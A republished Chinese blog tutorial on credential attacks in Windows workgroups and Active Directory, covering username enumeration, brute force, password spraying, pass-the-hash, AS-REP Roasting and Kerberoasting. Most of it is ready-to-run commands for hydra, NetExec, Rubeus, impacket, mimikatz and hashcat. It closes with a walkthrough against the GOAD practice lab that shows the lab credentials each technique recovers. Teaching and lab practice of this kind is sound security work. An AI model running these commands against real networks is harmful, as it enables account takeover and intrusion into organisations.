文章总结: 本文系统阐述内网凭证攻击原理与实战,涵盖工作组及域环境下的用户名枚举、密码喷洒、哈希传递、AS-REPRoasting与Kerberoasting等手段。文章汇总Hydra、NetExec等工具,结合GOAD靶场演示攻击流程,提供字典资源与破解工具,旨在为安全人员提供完整的凭证获取与横向移动方案。
综合评分: 90
文章分类: 内网渗透,红队,渗透测试
内网渗透(七):凭证攻击
JJ1ng
JJ1ng
2025年12月29日 08:30
北京
0x00 简介
本章节主要介绍凭证攻击,为后续横向移动做铺垫。个人才疏学浅,有未阐述清楚或遗漏的地方,可自行搜索相关资料参考学习。
主要内容:工作组与域环境(包括从域外和从域内两种途径)下的各类凭证攻击手法,包括:用户名枚举、密码破解、密码喷洒、哈希破解、AS-REP Roasting、Kerberoasting 等,以及 GOAD 靶场演示。
凭证是一种用来证明身份的东西,在内网环境中有着多种表示形式,如:密码、Hash(LM Hash、NTLM Hash、Net-NTLM Hash)、票据、访问令牌、SSH 私钥等。而内网的凭证攻击,就是用各种手段来获取凭证信息,其中包括:信息泄漏、用户名枚举、密码爆破、哈希破解、制作票据、窃取票据、票据破解等手段。
此外,在进行枚举和爆破前,要留意账户策略,别影响到正常业务,且大多数防护设备对于口令爆破类告警有一定阈值,只要没达到设定的次数或频率,就不会触发告警。
1. 爆破字典
https://weakpass.com/weakpass
https://forum.ywhack.com/password.php
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/danielmiessler/SecLists
https://github.com/zxcvbn001/password_brute_dictionary
https://github.com/rootphantomer/Blasting_dictionary
https://github.com/shadowabi/S-BlastingDictionary
https://github.com/r35tart/RW_Password
https://github.com/3had0w/Fuzzing-Dicts
https://github.com/attackdebris/kerberos_enum_userlists
https://github.com/insidetrust/statistically-likely-usernames
https://viperone.gitbook.io/pentest-everything/resources/hashcat-word-lists-and-rules
https://blog.csdn.net/leah126/article/details/139619189
2. 爆破工具
https://github.com/vanhauser-thc/thc-hydra
https://github.com/medusajs/medusa
https://github.com/byt3bl33d3r/CrackMapExec
https://github.com/Pennyw0rth/NetExec
https://github.com/shadow1ng/fscan
https://github.com/shack2/SNETCracker
https://github.com/TideSec/TscanPlus
https://github.com/BBD-YZZ/week-passwd
https://github.com/niudaii/crack
https://github.com/ropnop/kerbrute
https://github.com/ShutdownRepo/smartbrute
https://github.com/GhostPack/Rubeus
https://github.com/fortra/impacket/
https://github.com/SecuProject/ADenum
https://github.com/BC-SECURITY/Empire
https://github.com/The-Viper-One/PsMapExec
3. 字典生成器
https://github.com/LandGrey/pydictor
https://github.com/z-bool/super-password-dict
https://github.com/WangYihang/ccupp
https://sourceforge.net/projects/crunch-wordlist/
https://github.com/digininja/CeWL
https://www.bugku.com/mima/
4. 哈希破解
要想获取密码 Hash,除了导出凭证信息外,还可以通过 NTLM 中继来获取,相关内容会在后续的《中继攻击》篇章中进行说明。
工具推荐:
https://github.com/hashcat/hashcat
https://github.com/openwall/john
https://ophcrack.sourceforge.io/
hashcat -m 1000 NTLM-Hash -a 0 rockyou.txt --quiet
hashcat -m 5600 Net-NTLM-Hash -a 0 rockyou.txt --quiet
john --format=NT hash.txt
john --format=netntlmv2 hash.txt --wordlist=pass.txt
哈希破解,除了通过暴力破解的方式,还可以通过彩虹表查询的方式。在线查询网站如下:
https://www.cmd5.com/
https://www.somd5.com/
https://crackstation.net/
http://md5.cn/
https://www.t007.cn/
http://www.ttmd5.com/
0x01 工作组
上述提供的工具大部分都支持多种协议,如下只以 SMB 协议来进行的演示,使用方法都大差不差,只需要修改命令中的协议部分即可。如下是 hydra 工具支持的协议:
1. 信息泄漏
有关内网的信息泄漏部分,包括应该收集哪些凭证信息、从哪些地方进行收集、有哪些收集命令以及有哪些辅助工具等内容,都可参考个人先前发表的文章《内网渗透(五):信息收集》。另,还可使用收集的凭证信息来探测是否存在密码复用的情况,或分析密码构造规律,针对性的制作密码字典。文章链接:https://mp.weixin.qq.com/s/3Jt3KCy-tptfd-xXyZZBAw
2. 用户名枚举
通过枚举指定主机上用户的 RID 来获取指定主机上的用户名。前提是目标允许 SMB 空连接和匿名连接,或拥有目标主机上的某用户权限。NetExec 说明文档:https://www.netexec.wiki/
# MSF
use auxiliary/scanner/smb/smb_lookupsid
# NetExec
nxc smb IP -d workgroup --rid-brute 2000 -u '' -p ''
nxc smb IP -d workgroup --rid-brute 2000 -u USER -p PASS
nxc smb IP -d workgroup --rid-brute 2000 -u USER -H HASH
# enum4linux
enum4linux -a -o IP
# 查询正在登录的用户,需要管理员权限
nxc smb IP -d workgroup --loggedon-users -u USER -p PASS
nxc smb IP -d workgroup --loggedon-users -u USER -H HASH
3. 密码爆破
密码爆破常用的手段就是通过用户名和密码的字典,以笛卡尔积的方式来进行探测。这种方式效率低且动静大,不推荐使用;更推荐的做法是根据用户密码的规则来制定字典,并使用低频来进行枚举。
# hydra
hydra -l administrator -P pass.txt smb://IP -t 32
hydra -L user.txt -P pass.txt smb://IP -t 32 -f
# medusa
medusa -M smbnt -h IP -u administrator -P pass.txt -t 32
medusa -M smbnt -h IP -U user.txt -P pass.txt -t 32 -f
# fscan
./fscan -h IP -m smb -user administrator -pwdf pass.txt -no -np -nopoc
# NetExec
nxc smb IP -d workgroup -u 'administrator' -p pass.txt
nxc smb IP -d workgroup -u user.txt -p pass.txt --continue-on-success
除此之外,还可以通过超级弱口令检查工具、TscanPlus 等工具。
4. 密码喷洒
密码爆破是固定用户名,来枚举密码;而密码喷洒是固定密码,来枚举用户名。两种方式虽都是暴力枚举,但密码喷洒技术更实用,因为这很难触发账户的锁定机制。另,除了下述介绍的方法外,任何能进行用户爆破的工具,都可以用来进行密码喷洒。
# hydra
hydra -L user.txt -p '123456' smb://IP -t 32
# medusa
medusa -M smbnt -h IP -U user.txt -p '123456' -t 32
# NetExec
netexec smb IP -d workgroup -u user.txt -p '123456' --continue-on-success
5. 哈希传递
回顾《内网渗透(二):认证协议》篇章,在工作组环境下进行网络认证时,使用的是 NTLM Hash 来完成用户的认证而非密码,所以即便没法破解 NTLM Hash 拿到明文密码,也是可直接使用 NTLM Hash 来进行通信,效果等同于密码,而这也是哈希传递产生的原因。
这里不做过多的描述,相关内容会在后续的《横向移动》篇章中进行更详细的说明。《内网渗透(二):认证协议》文章链接:https://mp.weixin.qq.com/s/QHyVNk56OUi8lykBASO27w
# 工具 NetExec
nxc smb 192.168.0.0/24 -u 'administrator' -H HASH
# 工具 CrackMapExec
cme smb 192.168.0.0/24 -u 'administrator' -H HASH
# 工具 impacket
impacket-wmiexec DOMAIN/USER@IP -hashes :NTLM
# 工具 Mimikatz
mimikatz "privilege::debug" "sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:HASH
0x02 域环境
域环境主要是通过 Kerberos 协议来进行认证,而基于 Kerberos 协议也衍生出多种针对域内凭证的攻击利用方式。除了《内网渗透(五):信息收集》一节中所阐述的方式外,还可以利用域内特有的漏洞来获取用户凭证信息,如:域内用户名枚举、AS-REP Roasting、Kerberoasting 等。
1. 用户名枚举
回顾《内网渗透(二):认证协议》篇章,在进行 Kerberos 身份认证时,首先会向 AS 发送 AS_REQ 请求,而根据用户不存在、用户存在、用户存在但被禁用三种情况,有着三种不同的响应。如此,可根据不同的响应来探测域内存在的用户。
工具推荐:
https://github.com/3gstudent/pyKerbrute
https://github.com/lkarlslund/ldapnomnom
https://github.com/dirkjanm/adidnsdump
图出自:https://blog.csdn.net/weixin_45954730/article/details/139866924
如下是在域外进行枚举。
# 工具 kerbrute,DOMAIN 表示实际的域名,user.txt 包含用户字典的文件
kerbrute userenum -d DOMAIN user.txt --dc DC
# 使用 Nmap 进行用户名枚举
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='DOMAIN',userdb=user.txt DC
# 工具 NetExec,需要有域用户权限
nxc smb DC -d DOMAIN -u USER -p PASS --users
# 工具 impacket,默认只遍历到 4000
impacket-lookupsid DOMAIN/USER@DC -no-pass 5000
impacket-lookupsid DOMAIN/USER:PASS@DC
impacket-GetADUsers -all DOMAIN/USER:PASS
# 工具 ldapnomnom
./ldapnomnom -input user.txt -server DC/DOMAIN
# 工具 ldapsearch,需要有域用户权限
# 假设域名为 north.sevenkingdoms.local
ldapsearch -x -H ldap://DC -D '[email protected]' -w PASS -b "DC=north,DC=sevenkingdoms,DC=local""(objectClass=user)" sAMAccountName
ldapsearch -H ldap://DC -D "[email protected]" -w PASS -b 'DC=north,DC=sevenkingdoms,DC=local'"(&(objectCategory=person)(objectClass=user))" | grep 'distinguishedName:'
# 工具 rpcclient
rpcclient -U "" -N DC -c enumdomusers
rpcclient -U "USER%PASS" -N DC -c enumdomusers
# 工具 adidnsdump
adidnsdump -u 'DOMAIN\USER' -p 'PASS' DC/FQDN
# 脚本 pyKerbrute
Python EnumADUser DC DOMAIN user.txt tcp
Python EnumADUser DC DOMAIN user.txt udp
如下是在域内进行枚举。
# 工具 Adfind,假设域名为 north.sevenkingdoms.local
AdFind.exe -users -dn
Adfind.exe -f "objectcategory=person" sAMAccountName
Adfind.exe -b dc=north,dc=sevenkingdoms,dc=local -f "(&(objectCategory=person)(objectClass=user))" -dn
# 脚本 PowerView
powershell -exec bypass "Import-Module .\PowerView.ps1; Get-NetUser | select name"
powershell -exec bypass "Import-Module .\PowerView.ps1; Get-DomainUser -Properties sAMAccountName,displayName,memberof"
# 脚本 DomainPasswordSpray
powershell -exec bypass "Import-Module .\DomainPasswordSpray.ps1; Get-DomainUserList -Domain DOMAIN -RemoveDisabled -RemovePotentialLockouts"
2. 密码爆破
参考链接:https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E9%80%9A%E8%BF%87LDAP%E5%8D%8F%E8%AE%AE%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3%E5%9F%9F%E7%94%A8%E6%88%B7%E7%9A%84%E5%8F%A3%E4%BB%A4
工具推荐:
https://github.com/login-securite/conpass
https://github.com/dafthack/DomainPasswordSpray
https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-DomainPasswordSprayOutsideTheDomain.ps1
如下是在域外进行爆破。
# 工具 kerbrute
kerbrute bruteuser -d DOMAIN pass.txt administrator
# 工具 NetExec
nxc smb DC -d DOMAIN -u USER -p pass.txt
# 工具 Rubeus
Rubeus.exe brute /users:user.txt /passwords:pass.txt /domain:DOMAIN
# 工具 smartbrute
smartbrute brute -bU user.txt -bH hash.txt ntlm -d DOMAIN
smartbrute brute -bu 'administrator' -bP pass.txt kerberos -d DOMAIN
# 工具 conpass,需要有域用户权限
conpass -d DOMAIN -P pass.txt -p PASS -u USER
# 工具 rpcclient
for u in $(cat users.txt); do rpcclient -U "$u%PASS" -c "getusername;quit" DC | grep Authority; done
# 工具 ldapsearch,假设域名为 north.sevenkingdoms.local
for i in $(cat user.txt); doecho -e "\n$i";ldapsearch -x -H ldap://DC:389 -D "CN="$i",CN=Users,DC=north,DC=sevenkingdoms,DC=local" -w 123456 -b "DC=north,DC=sevenkingdoms,DC=local" | grep "# numEntrie";done
# 脚本 Invoke-DomainPasswordSprayOutsideTheDomain
# 假设 DC 的 IP 为 192.168.56.11,域名为 north.sevenkingdoms.local
powershell -exec bypass "Import-Module .\Invoke-DomainPasswordSprayOutsideTheDomain.ps1; Invoke-DomainPasswordSprayOutsideTheDomain -UserList user.txt -Domain \"192.168.56.11/DC=north,DC=sevenkingdoms,DC=com\" -PasswordList pass.txt"
如下是在域内进行爆破。
# 工具 Rubeus,爆破域内所有的用户
Rubeus.exe brute /passwords:pass.txt
# 脚本 DomainPasswordSpray
powershell -exec bypass "Import-Module .\DomainPasswordSpray.ps1; Invoke-DomainPasswordSpray -Domain DOMAIN -UserList users.txt -PasswordList pass.txt"
3. 密码喷洒
绝大多数可用于密码破解的工具都可用来进行密码喷洒,两者原理上大差不差。参考链接:
https://en.hackndo.com/password-spraying-lockout/
https://book.hacktricks.wiki/zh/windows-hardening/active-directory-methodology/password-spraying.html
工具推荐:
https://github.com/Hackndo/sprayhound
https://github.com/sikumy/spearspray
如下是在域外进行喷洒。
# 工具 kerbrute
kerbrute passwordspray -d DOMAIN user.txt PASS
# 工具 NetExec
nxc smb DC -d DOMAIN -u USER.txt -p PASS
nxc smb DC -d DOMAIN -u USER.txt -p HASH
# 工具 smartbrute
smartbrute brute -bU user.txt -bh 'HASH' ntlm -d DOMAIN
smartbrute brute -bU user.txt -bp 'PASS' kerberos -d DOMAIN
# 工具 sprayhound
sprayhound -U users.txt -p PASS -d DOMAIN -dc DC
sprayhound -U users.txt --lower -d DOMAIN -dc DC
# 工具 spearspray
spearspray -u USER -p PASS -d DOMAIN -dc DC
# 脚本 pyKerbrute,密码类型分为明文和哈希两种
python2 ADPwdSpray.py DC DOMAIN [clearpassword, ntlmhash] DATA MODE
python2 ADPwdSpray.py DC DOMAIN clearpassword PASS tcp
python2 ADPwdSpray.py DC DOMAIN ntlmhash HASH UDP
# 脚本 Invoke-DomainPasswordSprayOutsideTheDomain
# 假设 DC 的 IP 为 192.168.56.11,域名为 north.sevenkingdoms.local
powershell -exec bypass "Import-Module .\Invoke-DomainPasswordSprayOutsideTheDomain.ps1; Invoke-DomainPasswordSprayOutsideTheDomain -UserList user.txt -Domain \"192.168.56.11/DC=north,DC=sevenkingdoms,DC=com\" -Password pass"
如下是在域内进行喷洒。
# 脚本 DomainPasswordSpray,利用 LDAP 从域中导出用户列表(去除禁用和锁定用户),再进行密码喷洒
powershell -exec bypass "Import-Module .\DomainPasswordSpray.ps1; Invoke-DomainPasswordSpray -Domain DOMAIN -Password 123456"
powershell -exec bypass "Import-Module .\DomainPasswordSpray.ps1; Invoke-DomainPasswordSpray -Domain DOMAIN -UserList user.txt -Password 123456 -force"
# 脚本 PsMapExec
powershell -exec bypass "Import-Module .\PsMapExec.ps1; PsMapExec Spray -SprayPassword password"
powershell -exec bypass "Import-Module .\PsMapExec.ps1; PsMapExec Spray -AccountAsPassword -Domain DOMAIN"
powershell -exec bypass "Import-Module .\PsMapExec.ps1; PsMapExec Spray -SprayHash [RC4]/[AES256]/[LM:NT] -Domain DOMAIN"
4. AS-REP Roasting
AS-REP Roasting 是一种对域用户进行离线破解的攻击技术。当某用户开启“不需要 kerberos 预身份验证”配置(默认是关闭),攻击者就可实现以该用户的名义向 KDC 发送 AS_REQ 请求而无需用户密码。如此,攻击者可以从 AS_REP 响应中获取到该用户 Hash 加密的 Session Key 来进行离线破解,如果破解成功,就能得到该指定用户的明文密码。注:执行此攻击不需要域帐户,能连接到 KDC 就行。
AS-REP Roasting 攻击主要分为两步:
- 寻找“不需要 kerberos 预身份验证”的用户
- 获取
AS-REP响应中用户 Hash 加密的Session Key - 离线解密
参考链接:
https://rivers.chaitin.cn/blog/cq955990lnechd244q9g
https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AS-REPRoasting
https://book.hacktricks.wiki/zh/windows-hardening/active-directory-methodology/asreproast.html
工具地址:https://github.com/HarmJ0y/ASREPRoast
如下是在域外进行探测。
# 工具 bloodyAD
python bloodyAD.py -u USER -p PASS -d DOMAIN --host DC get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
# 工具 NetExec
nxc ldap DC -d DOMAIN -u USER -p PASS --asreproast hash.txt
# 工具 Adfind
adfind.exe -h DC -u DOMAIN\USER -up PASS -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn
# 工具 impacket
impacket-GetNPUsers DOMAIN/ -no-pass -format hashcat -userfile user.txt
impacket-GetNPUsers DOMAIN/ -usersfile user.txt -format hashcat -outputfile hash.txt
impacket-GetNPUsers DOMAIN/USER:PASS -request -format hashcat -outputfile hash.txt
如下是在域内进行探测。
# 工具 Rubeus
Rubeus.exe asreproast /format:hashcat /outfile:hash.txt
# 脚本 ASREPRoast
powershell -exec bypass "Import-Module .\ASREPRoast.ps1; Invoke-ASREPRoast | select -ExpandProperty Hash"
# 工具 Adfind
AdFind.exe -default -f "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" cn useraccountcontrol
# 脚本 PowerView
powershell -exec bypass "Import-Module .\PowerView.ps1; Get-DomainUser -PreauthNotRequired -Verbose"
# 工具 John
john --wordlist=pass.txt hash.txt
# 工具 Hashcat
hashcat -m 18200 --force -a 0 hash.txt pass.txt
5. Kerberoasting
在 Kerberos 认证的 TGS_REP 阶段,会返回指定服务的 ST 票据,该票据中涉及到服务账户的 NTLM Hash,涉及的加密算法主要有两种:RC4 和 AES。攻击利用的核心点,是在申请 ST 票据时,攻击者可以指定加密算法为 RC4,而由于 RC4 是一种弱加密类型,可进行离线破解,从而获取该服务账户的明文密码。当然,即便加密算法为 AES,也可以进行破解,只是破解花费的时间会更长。且由于在请求 ST 票据前,需要 TGT 认购权证,所以该攻击的前提需有域用户的权限。
Kerberoasting 攻击主要分为四步:
- 查询有价值的 SPN
- 注册在域用户账户下的 SPN
- 该域用户权限能满足后续利用需求
- 请求该 SPN 的 ST 票据
- 导出请求的 ST 票据
- 离线爆破
参考链接:
https://www.cnblogs.com/kqdssheng/p/18891731
https://www.freebuf.com/articles/network/371446.html
https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting
https://book.hacktricks.wiki/zh/windows-hardening/active-directory-methodology/kerberoast.html
工具推荐:https://github.com/nidem/kerberoast
# 工具 NetExec
nxc ldap DC -d DOMAIN -u USER -p PASS --kerberoasting hash.txt
# 结合 AS-REP Roasting 攻击来进行 Kerberoasting
# 其中 -u 指定 AS-REP Roasting 的用户,--no-preauth-targets 指定要攻击的服务账户
nxc ldap DC -d DOMAIN -u USER -p '' --no-preauth-targets kerberoastable.list --kerberoasting hash.txt
# 工具 impacket
impacket-GetUserSPNs -request -dc-ip DC DOMAIN/USER:PASS
impacket-GetUserSPNs DOMAIN/USER:'PASS' -dc-ip DC -request -outputfile hash.txt
impacket-GetUserSPNs -no-preauth "NO_PREAUTH_USER" -usersfile users.txt -dc-host DC DOMAIN/
# 工具 Rubeus
Rubeus.exe kerberoast /ticket:C:\\temp\\tgt.kirbi /spn:MSSQLSvc/sql01.domain.local
Rubeus.exe kerberoast /outfile:hash.txt /domain:DOMAIN /dc:DC /nopreauth:NO_PREAUTH_USER /spn:TARGET_SERVICE
# 工具 ADenum
python ADenum.py -d DOMAIN -u USER -p pass -c
# 工具 Rubeus
Rubeus.exe kerberoast /outfile:hash.txt
Rubeus.exe kerberoast /user:USER /outfile:hash.txt
Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap
Rubeus.exe kerberoast /aes /outfile:hash_aes.txt
Rubeus.exe kerberoast /rc4opsec /outfile:hash_rc4.txt
# 工具 Empire
powershell -exec bypass "Import-Module .\Invoke-Kerberoast.ps1; Invoke-Kerberoast -OutputFormat hashcat | fl"
powershell -exec bypass "Import-Module .\Invoke-Kerberoast.ps1; Invoke-Kerberoast -OutputFormat hashcat | Out-File -Encoding ASCII hash.txt"
# 脚本 PsMapExec
powershell -exec bypass "Import-Module .\PsMapExec.ps1; PsMapExec kerberoast -Domain DOMAIN -ShowOutput"
# 工具 John
john --format=krb5tgs --wordlist=pass.txt hash.txt
# 工具 Hashcat
hashcat -m 13100 -a 0 hash.rc4 pass.txt -force
hashcat -m 19600 -a 0 hash.aes128 pass.txt -force
hashcat -m 19700 -a 0 hash.aes256 pass.txt -force
0x03 GOAD
如下是根据前面介绍的内容来进行 GOAD 的打靶演示,由于篇幅的原因,下面的内容不会涉及所有的命令,可自行尝试。参考连接:
https://mayfly277.github.io/posts/GOADv2-pwning-part2/
https://mayfly277.github.io/posts/GOADv2-pwning-part3/
https://xz.aliyun.com/news/11583
https://hackmd.io/@jjavierolmedo/goad_writeup
图出自:https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg
1. 用户名探测
1.1 无域用户权限
由于域 north.sevenkingdoms.local 中的 DC 存在 SMB 匿名连接的问题,可在没有域用户权限的情况下,获取所有域用户信息。如下所述,通过描述信息这里获取第一个凭证信息 north.sevenkingdoms.local/samwell.tarly:Heartsbane。
可以使用 enum4linux 来查看完整的信息。
通过字典来探测域 sevenkingdoms.local 存活的主机。
# 构建字典
curl -s https://www.hbo.com/game-of-thrones/cast-and-crew | grep 'href="/game-of-thrones/cast-and-crew/'| grep -o 'aria-label="[^"]*"' | cut -d '"' -f 2 | awk '{if($2 == "") {print tolower($1)} else {print tolower($1) "." tolower($2);} }' > goad-users.txt
./kerbrute userenum -d sevenkingdoms.local goad-users.txt --dc 192.168.56.10
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='sevenkingdoms.local',userdb=goad-users.txt 192.168.56.10
python2 EnumADUser.py 192.168.56.12 essos.local goad-users.txt tcp
1.2 有域用户权限
这里使用泄漏的凭证信息 samwell.tarly/Heartsbane 来收集用户信息。
由于域之间存在信任关系,所以也可以通过 LDAP 查询其他域中的用户。
除此之外,还可以通过收集 DNS 解析记录来挖掘用户信息。
2. 攫取密码
2.1 AS-REP Roasting
现在已经获取到 north.sevenkingdoms.local 域内所有的用户名,这里通过 AS-REP Roasting 攻击来获取域用户密码。首先使用 nxc 来探测存在 AS-REP Roasting 安全风险的账户并导出其 Hash。
nxc ldap 192.168.56.11 -u user.txt -p '' --asreproast hash.txt
impacket-GetNPUsers north.sevenkingdoms.local/ -usersfile north-users.txt -format hashcat -outputfile hash.txt
随后,使用 hashcat 结合字典来破解 Hash。通过哈希破解这里拿到第二个凭证信息:north.sevenkingdoms.local/brandon.stark:iseedeadpeople。
2.2 密码喷洒
在进行暴力爆破时,需注意用户的账户策略。从下图可以知道,5 分钟内输错 5 次就会被锁定 5 分钟。
由于账户策略的限制,单一破解指定用户的密码不现实,所以这里通过 USER==PASS 的方式来进行喷洒。如下图所示,这里得到第三个凭证信息:north.sevenkingdoms.local/hodor:hodor。
# 工具 NetExec
nxc smb 192.168.56.11 -d north.sevenkingdoms.local -u north-users.txt -p north-users.txt --no-bruteforce --continue-on-success
# 工具 sprayhound
sprayhound -U user.txt --lower -d DOMAIN -dc DC
2.3 Kerberoasting
通过前面章节介绍可知,进行 Kerberoasting 攻击的前提需有域用户的权限,由于目前已经拿到了三个域用户的凭证:north.sevenkingdoms.local/samwell.tarly:Heartsbane、north.sevenkingdoms.local/brandon.stark:iseedeadpeople、north.sevenkingdoms.local/hodor:hodor,所以这里可通过 Kerberoasting 攻击来获取其他服务账户的凭证。
# 工具 NetExec
nxc ldap 192.168.56.11 -d north.sevenkingdoms.local -u brandon.stark -p iseedeadpeople --kerberoasting hash.txt
# 工具 impacket
impacket-GetUserSPNs -request -dc-ip DC DOMAIN/USER:PASS
impacket-GetUserSPNs DOMAIN/USER:'PASS' -dc-ip DC -request -outputfile hash.txt
impacket-GetUserSPNs -no-preauth "NO_PREAUTH_USER" -usersfile users.txt -dc-host DC DOMAIN/
这里也是破解得到第四个凭证信息:north.sevenkingdoms.local/jon.snow:iknownoting。
3. 会话信息
有关空连接、匿名连接以及访客模式(Guest 账户)的含义以及区别,可参考文章:https://blog.whiteflag.io/blog/guest-vs-null-session-on-windows/
# 空连接/匿名连接
nxc smb 192.168.56.10-23 -u '' -p '' --shares
# 来宾账户,如果 a 用户不存在,会尝试使用 Guest 账户
nxc smb 192.168.56.10-23 -u 'a' -p '' --shares
通过获取的凭证来枚举域内的共享资源。
nxc smb 192.168.56.10-23 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --shares
0x04 Reference
https://xz.aliyun.com/news/12073
https://forum.butian.net/share/614
https://www.freebuf.com/articles/web/273724.html
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:JJ1ng JJ1ng《内网渗透(七):凭证攻击》